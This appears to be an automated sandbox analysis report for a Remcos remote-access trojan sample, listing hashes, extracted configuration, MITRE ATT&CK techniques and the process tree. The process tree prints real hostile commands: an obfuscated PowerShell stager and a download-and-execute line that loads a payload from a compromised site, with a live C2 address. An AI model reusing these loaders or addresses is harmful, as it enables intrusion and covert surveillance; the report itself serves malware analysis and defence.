remcos | 3fc452863dc66976a6d40d91b9706053f1afa362e9c6f43d04fe4a4b526c148d

General

Target

svchost.vbs
Size

1.6MB
MD5

dd777abe140a21d03c52d83f0972ea03
SHA1

7135fada7f4e9562a80f9b3755f2e4e8df808619
SHA256

3fc452863dc66976a6d40d91b9706053f1afa362e9c6f43d04fe4a4b526c148d
SHA512

658f7218b40a0dc7fbaf8781f370e3f9201305958347ef56b989d92859eddd6b1e44f1f2efc26c64c70d4b5d9585c510b225810611b71c4abab57fab68bcac9e
SSDEEP

3072:BiiiiiiiiiiiiiiiiiiiiUiiiiiiiiiiiiiiiiiiiihiiiiiiiiiiiiiiiiiiiic:f

Score

10^/10

remcos nlk discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.alinstantecolombia.com/wp-content/uploads/2024/09/dllsky.txt

Extracted

Family

remcos

Botnet

Nlk

C2

comandoespecial2023.duckdns.org:8888

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-3PWW8O
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	3996	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe
3996	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3996 set thread context of 184	3996	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2572	powershell.exe
2572	powershell.exe
3996	powershell.exe
3996	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	3996	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
184	RegSvcs.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3260 wrote to memory of 2572	3260	WScript.exe	82
PID 3260 wrote to memory of 2572	3260	WScript.exe	82
PID 2572 wrote to memory of 3996	2572	powershell.exe	84
PID 2572 wrote to memory of 3996	2572	powershell.exe	84
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85
PID 3996 wrote to memory of 184	3996	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J▒Bq▒G4▒YQBu▒Hg▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒G8▒YwBo▒Gg▒ZQ▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒HY▒YQBk▒GE▒aw▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB3▒Hc▒dw▒u▒GE▒b▒Bp▒G4▒cwB0▒GE▒bgB0▒GU▒YwBv▒Gw▒bwBt▒GI▒aQBh▒C4▒YwBv▒G0▒LwB3▒H▒▒LQBj▒G8▒bgB0▒GU▒bgB0▒C8▒dQBw▒Gw▒bwBh▒GQ▒cw▒v▒DI▒M▒▒y▒DQ▒Lw▒w▒Dk▒LwBk▒Gw▒b▒Bz▒Gs▒eQ▒u▒HQ▒e▒B0▒Cc▒KQ▒p▒Ds▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EE▒c▒Bw▒EQ▒bwBt▒GE▒aQBu▒F0▒Og▒6▒EM▒dQBy▒HI▒ZQBu▒HQ▒R▒Bv▒G0▒YQBp▒G4▒LgBM▒G8▒YQBk▒Cg▒J▒B2▒GE▒Z▒Bh▒Gs▒KQ▒u▒Ec▒ZQB0▒FQ▒eQBw▒GU▒K▒▒n▒EM▒b▒Bh▒HM▒cwBM▒Gk▒YgBy▒GE▒cgB5▒DE▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒HQ▒e▒B0▒C4▒bwBq▒GU▒aQB2▒HM▒bwBj▒G0▒ZQBy▒C8▒OQ▒w▒C8▒N▒▒y▒D▒▒Mg▒v▒HM▒Z▒Bh▒G8▒b▒Bw▒HU▒LwB0▒G4▒ZQB0▒G4▒bwBj▒C0▒c▒B3▒C8▒bQBv▒GM▒LgBh▒Gk▒YgBt▒G8▒b▒Bv▒GM▒ZQB0▒G4▒YQB0▒HM▒bgBp▒Gw▒YQ▒u▒Hc▒dwB3▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒bwBj▒Gg▒a▒Bl▒C▒▒L▒▒g▒Cc▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bq▒G4▒YQBu▒Hg▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\svchost.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$jnanx = '0';$ochhe = 'C:\Users\Admin\AppData\Local\Temp\svchost.vbs';[Byte[]] $vadak = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.alinstantecolombia.com/wp-content/uploads/2024/09/dllsky.txt'));[system.AppDomain]::CurrentDomain.Load($vadak).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.ojeivsocmer/90/4202/sdaolpu/tnetnoc-pw/moc.aibmolocetnatsnila.www//:sptth' , $ochhe , '_______________________-------------', $jnanx, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
e7c61b14531be65f4b660225bd7b6a44

SHA1
cbcf8c19e875550fbaa1966160324fe29087791c

SHA256
cd89a8b7660d474026ca518359463353250e0f7a4ba0c16fee1244b7119ad0df

SHA512
b666ac1d58b916ff3764936df65104f9a16b5beac971541ae96242d723f10fc9ee9bd5326cd22fd00355e76e8acc1724689497bb6cb68e4281c2b9223992832c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p3e1vo1f.y0r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/184-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-27-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-58-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/184-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2572-1-0x000002569CAA0000-0x000002569CAC2000-memory.dmp

Filesize
136KB

Download
memory/2572-0-0x00007FFC0B253000-0x00007FFC0B255000-memory.dmp

Filesize
8KB

Download
memory/2572-34-0x00007FFC0B250000-0x00007FFC0BD11000-memory.dmp

Filesize
10.8MB

Download
memory/2572-11-0x00007FFC0B250000-0x00007FFC0BD11000-memory.dmp

Filesize
10.8MB

Download
memory/2572-12-0x00007FFC0B250000-0x00007FFC0BD11000-memory.dmp

Filesize
10.8MB

Download
memory/3996-22-0x0000021E58B40000-0x0000021E58B48000-memory.dmp

Filesize
32KB

Download
memory/3996-23-0x0000021E59980000-0x0000021E5998A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads